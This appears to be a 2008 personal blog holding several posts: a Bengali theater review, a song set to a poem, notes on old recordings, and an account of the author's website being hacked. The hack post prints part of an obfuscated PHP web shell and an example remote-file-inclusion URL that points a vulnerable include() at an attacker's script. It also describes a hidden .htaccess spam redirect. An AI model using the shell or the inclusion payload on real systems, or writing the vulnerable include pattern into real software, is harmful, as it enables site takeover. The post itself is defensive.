Tuesday, June 24, 2008

The new voice of our time

A couple of weeks back our local cultural association Sanskriti organized its fourth Natyomela - a Theater festival. Our group ENAD could not participate in the festival this time. However, this year Sanskriti introduced a slot for an "outside" group. That outside group was ECTA from New Jersey. They brought a new play Taconic Parkway, written and directed by Sudipta Bhowmik.

Sudipta Bhowmik was somewhat known to the bay-area theater aficionados. He is operating in Bengali theater scene in north America for a while now. He is quite well-known especially in the east-coast circuit. For some reason, he never got a chance to bring his play to the west coast before. We, at EAND, were happy to do Ron - our last production - which was his play. I think that was the first exposure people got to Sudipta Bhowmik's work here in the bay area.

This time he also directed his three-cast play Taconic Parkway. It's a very powerful play. It may not put you in an internal conflict that Ron might have, but this play may well put you in a spell. He has masterfully woven an unusual story in a non-histrionic way. (That is, if you take the negative connotation of histrionics.) I will go out on limbs and say that Sudipta Bhowmik is producing some of the most powerful and important Bengali plays of our time. That includes Kolkata and West Bengal. (I am not very conversant with Dhaka's, or Bangladesh as a whole, contemporary plays, mostly due to accessibility problem.) More importantly, he is providing a glimpse to the actual USA-residing Bengalees. This is not the picture you get in mainstream magazines and mundane media portrayal.

Someday, I hope to write a more studied observation of his plays through more minute reading, but as a somewhat informed audience I can only appreciate his work. He is definitely blessed with some very competent actors. I am sure that helps him not only to mount a good play as a director, but also as a playwright since he can experiment with his characters. But still, the bottom line remains that he is writing some worthwhile plays of our time.

Thank you Sudiptada. Thank you for the plays.

Sunday, May 25, 2008

Tin Pahaarer Gaan

I came across Birendra Chattopadhyay's work when, I believe, I was in high school or in first year of college. My impressionable mind immediately fell in love with his work. He was never a mainstream poet. But his poetry borne a unique and strong voice which I seldom found in others. Around the same time I found a cassette published by School of People's Art which contained songs and recitation of Birendra Chattopadhyay's poems. The songs were created out of his poems by Binoy Chakrabarty. He did and excellent job. Together with the poems and this cassette, Birendra Chattopadhyay made a lasting impression.





I loved a long poem called 'Tin Pahaarer Gaan' literally "The song of Three Mountains" or "The song of a mountain called Tin Pahaar". I starts with 'Pahariya madhupur metho dhulipoth' and continues to give a vivid and wonderful imagery. Around that time I also started composing songs. So I put tune to it - not tothe whole poem though. I stopped when I thought was the right moment for a song to stop. This was 1988-89. I kept it to myself and never published it. In 2007 I arranged it. This is that song.

Sunday, May 11, 2008

Portrait of a hack

It's been a long time since I updated the page. Again. As I was intending to update the page with the report of my latest endeavor, something unexpected happened.

Last Sunday morning, I woke up to receive a terse mail from my hosting company - Host Monster - that my basus.net account had been deactivated due to "terms of service violation". So I called them. The Tech support guy confirmed that the account had really been deactivated because there is a phishing page lurking inside my site. He suggested that I talk to their Abuse department. Even though it was a Sunday, there was somebody in Abuse department I could talk to. She pointed me to a directory called 1/ inside my webroot folder. That, and few other files, seems to be gratuitous contributions of the hackers. She said once I removed the offending pages and they confirmed that I did, they could reactivate the account. I got off the phone and the first thing I did was to remove the 1/ directory. Looking back, I think, that was a knee-jerk reaction. I could have avoided that. I, then, moved my original webroot folder and put up a placeholder page instead. After these minor surgeries I called my hosting company's abuse department. She looked at the directory to confirm that the offending pages are really gone. Once confirmed she immediately reactivated my account. I briefly chatted with her about the possible backdoor and inquired if they had any tool to sniff backdoor. They don't have any tool but she gave me pointers to some usual suspect applications. Fortunately I didn't have any such application. However, that's unfortunate too, since now I have to hunt the backdoor myself manually. It also means that the backdoor is possibly an inadvertent creation of my sloppy coding. Tooo baad.

But one thing I want to mention here, I found my hosting company's support impeccable. They were helpful, to-the-point and not too finicky. Deactivating my site showed they had a good policy in place against questionable content. Kudos.

Once my mail server etc. are back online and offending material offline, I had a few tasks at hand. In order of priority, they were:

  1. Remove all injected files and content

  2. Find and fix backdoor

  3. Put site back online


So, here are some interesting things I have found on the way. These must have been well-documented in some security website. But, here is what I have found.

Modus Operandi: Once the hackers find a backdoor, they push a file through the backdoor. This file then becomes the hacker's gateway. They come and go through this door at will. They can pretty much see what's there inside, put files (scripts) there and sometimes hijacks the site.

File Extension: Some of the initial files that the hackers upload had .jpg extensions but they are actually PHP scripts. For example, php3.jpg, lila.jpg or sh6.jpg. I think, they want the site owner to overlook any .jpg file thinking they are image files hence harmless. PHP engine, though, is not fooled by the extension. It will execute file any extension as long as it is valid php code.

Offending files: The most interesting is php3.jpg. It looks like a binary file

 <? eval(gzinflate(base64_decode('
7b3peuJI0jD6+53nmXtQqT3ddhsjwHgrV7mH1cZm
B69VdTxCCJBZhCUBNv3WBZ1r+P59V3YicpFSCzau
qu5ZzvRMt1EukZFbZERkZMRvJx9+mw6mf/2LorQc
1XKMSV/S1NHI/utfjJ60+a43m2iOYU7u9SfDduxN
ua87Y0OzTMcY6/LWlvQ7LyGJOZuQMYIKmxszW9di
0gb8d0v6KOlP05HZ1TdlSY5JQumtY8nSnZk1kTY3
eyNTdbZIRWlb4p8I4Pjr17/+Rbcs07q39KlJsN3c
2zr+61/+bvQnpqXfQyXrXu1A1ma7eVkgWbbu3I/V
vqHdP85MR7fvrdmEtJrA7I2FMQHEbMdyzJG50K1N
e9aBr836Wf2+1oolYrvQy48fJRkKylChq/eMCfTA
xuEioxDz9xyh4tj1g+32p9omjlj0wEKbxtT2DylN
2/x5Q7Ws2Mbwoyyz6oZ9D0nq8ybmkCrQe1UbkG9J
tSUofLIxZ6VJ52bTKXRuY7glvYPOnJZr2Uy5hfBY
I1jzk7wxlL/gOH+V9JGtS78TeB8ZIiPVHui0JC3D
qzJokAgDet8sNC4LrTZUIzjej3Wrr29u3OdqtYtS
IbZxf1pow3/rtVYbx8pF3a0YxP+dYcMkbm4A8pAC
fwD0xpysBmjPHsx1xFFOxhPS1NJ3LH2kq4B8Z2aM
utJPyX35WFKU3Myy9IkjQWEbxhZXfK5WLZZOL5uZ
dqlWlTLVvNQqtNul6mmLrX59PHVgjGcTXEP2zBph
+/BbM82hAWtAOzqyByRDhhW8gT8QERnHAcdPBCKC


However, if you look closely, you will notice that it starts with "<? eval(gzinflate(base64_decode('". This basically tells the PHP engine to inflate the gzipped and base64 encoded content that follows. When I explode, it became a html which looks like this in a browser

PHP Shell Screenshot

Backdoor: There were a couple of backdoors in my site (at least the ones that I have found). All of them are similar.

PHP script can run another script by calling a function named include(). Suppose you have a script named foo.php and another named bar.php. In foo.php you may have a call like:
include('bar.php')

Now if you request foo.php from a browser, it will also execute bar.php, even though bar.php was not explicitly called or requested.

Now the bar.php does not need to reside on the same directory or even the same file system. bar.php may be sitting on a different webserver, 10000 miles away, reachable via a HTTP call - http://bar.com/bar.php. Now, still foo.php can execute bar.php via http. Your include will simply say,
include('http://bar.com/bar.php')

PHP will take care of opening a socket to the bar.com server, create a HTTP request to bar.php and execute its content after receiving the HTTP response.

Now, suppose, instead of hard-coded http://bar.com/bar.php as the argument of the include() call, you pass a request parameter - something that you got via a POST or a query-string.
$myscript = _REQUEST('myscript');
include('$myscript);

Now, you have a backdoor. How so? If a malicious hacker knows about this two lines, she can make a request to foo.php like this
http://<servername>/foo.php?myscript=http://<hackersserver>/malicious_script.php

foo.php will obidiently execute whatever malicious_script.php asks it to do. Now the question is how the hackers know of those to line of code. By looking at other links on your site (or other sites which links to your site) and guessing. This is not difficult.

I precisely had this backdoor. Three of them. I think hackers exploited two out of three. I have fixed the code, or I think I have until hackers expose another backdoor. I have also written couple of monitoring and reporting scripts which will periodically look for any change in my site. Let's see what happens.

On a subsequent post, I will try to write more about the files the hackers put.

Update: I never got a chance to write more about the files the hackers uploaded. However, another thing of importance here. The hackers modified my root .htaccess file. That's the configuration file for Apache web server and it affects the tree underneath, unless overwritten by another local .htaccess file. They put a Rewrite rule in the .htaccess. Apache rewrite rule basically can modify a request line. For example, a browser may request for a file called "foo.html". Via Rewrite rule, you can serve some other file, say "whatever.html". Since, this happens without browser's knowledge, browser still thinks that it got the requested foo.html file. That's exactly what happened in my case. The hackers wrote a rewrite rule in such a way that if a request came through a search result (identified by the Referer header), it shows some Viagra ad page that they uploaded. And be careful, they bury the Rewrite rule in .htaccess file after a bunch of blank lines, so that when you open the file in an editor, you won't see it without scrolling down. Very clever.

Tuesday, January 29, 2008

Song puzzles

I have some old recordings in my possession. Old means really old - at least fifty years or more. I have a cousin, who is a professional Audio Engineer with a big studio in India. But his passion is music from a very very tender age. As they say, he lives for music. When he was a student, he used to roam around in Kolkata to collect old records. I guess these recordings came from those ventures. These are recorded from noisy 78 RPM disks. I haven't tried to cleanup the recordings. I have noticed in my earlier attempts of cleaning that unless one has lots of time and really good tools, it's better to leave the noise. Incompetent noise-reduction kills the song more than the noise does.

Move over to my Music Broadcast page and listen to the Recognize the singers section. If you can recognize them before I publish the name, drop me a line.